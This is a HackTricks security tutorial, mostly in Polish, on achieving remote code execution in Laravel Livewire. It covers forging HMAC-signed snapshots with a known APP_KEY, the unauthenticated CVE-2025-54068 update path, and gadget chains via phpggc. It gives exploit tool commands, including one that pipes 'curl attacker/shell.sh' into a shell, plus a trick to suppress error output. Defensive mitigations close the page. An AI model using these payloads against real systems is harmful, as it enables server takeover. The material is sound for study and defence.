Laravel Livewire Hydratacja i nadużycie Synthesizer

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podsumowanie maszyny stanów Livewire

Komponenty Livewire 3 wymieniają swój stan za pomocą snapshots, które zawierają data, memo oraz sumę kontrolną. Każde żądanie POST do /livewire/update odtwarza snapshot JSON po stronie serwera i wykonuje zakolejkowane calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Każdy, kto posiada APP_KEY (używany do wyprowadzenia $hashKey), może więc sfałszować dowolne snapshots, ponownie obliczając HMAC.

Złożone właściwości są kodowane jako syntetyczne krotki wykrywane przez Livewire\Drawer\BaseUtils::isSyntheticTuple(); każda krotka ma postać [value, {"s":"<key>", ...meta}]. Rdzeń hydracji po prostu deleguje każdą krotkę do synth wybranego w HandleComponents::$propertySynthesizers i rekurencyjnie przetwarza elementy potomne:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

This recursive design makes Livewire a generic object-instantiation engine once an attacker controls either the tuple metadata or any nested tuple processed during recursion.

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)Instantiates new $meta['class']($value) after rehydrating each child. Any class with an array constructor can be created, and each item may itself be a synthetic tuple.
FormObjectSynth (form)Calls new $meta['class']($component, $path), then assigns every public property from attacker-controlled children via $hydrateChild. Constructors that accept two loosely typed parameters (or default args) are enough to reach arbitrary public properties.
ModelSynth (mdl)When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control.

Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.

Forging snapshots when APP_KEY is known

  1. Capture a legitimate /livewire/update request and decode components[0].snapshot.
  2. Inject nested tuples that point to gadget classes and recompute checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Re-encode the snapshot, keep _token/memo untouched, and replay the request.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

From function calls to full RCE

Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:

  1. Queueable trait – any object using Illuminate\Bus\Queueable exposes public $chained and executes unserialize(array_shift($this->chained)) in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) is instantiated via CollectionSynth / FormObjectSynth with public $chained populated.
  3. phpggc Laravel/RCE4Adapted – the serialized blob stored in $chained[0] builds PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finally calls call_user_func_array($closure, $args) enabling system($cmd).
  4. Stealth termination – by handing a second FnStream callable such as [new Laravel\Prompts\Terminal(), 'exit'], the request ends with exit() instead of a noisy exception, keeping the HTTP response clean.

Automating snapshot forgery

synacktiv/laravel-crypto-killer now ships a livewire mode that stitches everything:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Narzędzie parsuje przechwycony snapshot, wstrzykuje gadget tuples, przelicza sumę kontrolną i wypisuje payload gotowy do wysłania na /livewire/update.

CVE-2025-54068 – RCE without APP_KEY

updates są scalane ze stanem komponentu po zweryfikowaniu sumy kontrolnej snapshotu. Jeśli właściwość wewnątrz snapshotu jest (lub staje się) synthetic tuple, Livewire ponownie używa jej meta podczas hydratacji wartości aktualizacji kontrolowanej przez atakującego:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Przepis exploita:

  1. Znajdź komponent Livewire z publiczną właściwością bez zadeklarowanego typu (np. public $count;).
  2. Wyślij update, który ustawia tę właściwość na []. Następny snapshot zapisze ją jako [[], {"s": "arr"}].
  3. Sporządź kolejny payload updates, w którym ta właściwość zawiera głęboko zagnieżdżoną tablicę osadzającą tuple takie jak [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Podczas rekursji hydrate() ocenia każde zagnieżdżone dziecko niezależnie, więc wybrane przez atakującego klucze/klasy synth są respektowane, nawet jeśli zewnętrzna tuple i suma kontrolna nigdy się nie zmieniły.
  5. Wykorzystaj ponownie te same prymitywy CollectionSynth/FormObjectSynth, by zainstancjować Queueable gadget, którego $chained[0] zawiera payload phpggc. Livewire przetwarza sfałszowane updates, wywołuje dispatchNextJobInChain() i dochodzi do system(<cmd>) bez znajomości APP_KEY.

Główne powody, dla których to działa:

  • updates nie są objęte sumą kontrolną snapshotu.
  • getMetaForPath() ufa dowolnym meta danym synth, które już istniały dla tej właściwości, nawet jeśli atakujący wcześniej wymusił, by stała się tuple przez słabe typowanie.
  • Rekursja i słabe typowanie pozwalają, by każda zagnieżdżona tablica była interpretowana jako zupełnie nowa tuple, więc dowolne klucze synth i dowolne klasy ostatecznie docierają do hydratacji.

Livepyre – eksploatacja end-to-end

Livepyre automatyzuje zarówno wariant CVE bez APP_KEY, jak i ścieżkę ze podpisanym snapshotem:

  • Identyfikuje wersję Livewire zainstalowaną na serwerze, parsując <script src="/livewire/livewire.js?id=HASH"> i mapując hash na podatne wydania.
  • Zbiera bazowe snapshoty przez odtwarzanie normalnych, niegroźnych akcji i wyodrębnianie components[].snapshot.
  • Generuje albo payload zawierający tylko updates (CVE-2025-54068), albo sfałszowany snapshot (gdy APP_KEY jest znany) z osadzonym łańcuchem phpggc.

Typowe użycie:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check uruchamia niedestrukcyjne sprawdzenie, -F omija kontrolę wersji, -H i -P dodają niestandardowe nagłówki lub proxy, a --function/--param dostosowują wywoływaną przez gadget chain funkcję php.

Zagadnienia obronne

  • Zaktualizuj do naprawionych buildów Livewire (>= 3.6.4 zgodnie z biuletynem dostawcy) i wdroż poprawkę dostawcy dla CVE-2025-54068.
  • Unikaj słabo typowanych właściwości publicznych w komponentach Livewire; jawne typy skalarne zapobiegają przekształcaniu wartości właściwości w tablice/krotki.
  • Zarejestruj tylko te synthesizers, których naprawdę potrzebujesz, i traktuj kontrolowane przez użytkownika metadane ($meta['class']) jako niezaufane.
  • Odrzucaj aktualizacje, które zmieniają typ JSON właściwości (np. scalar -> array), chyba że jest to wyraźnie dozwolone, oraz ponownie wyliczaj synth metadata zamiast ponownie używać przestarzałych krotek.
  • Rotuj APP_KEY niezwłocznie po każdym ujawnieniu, ponieważ umożliwia ono offline tworzenie sfałszowanych snapshotów bez względu na to, jak bardzo kod bazowy jest załatany.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks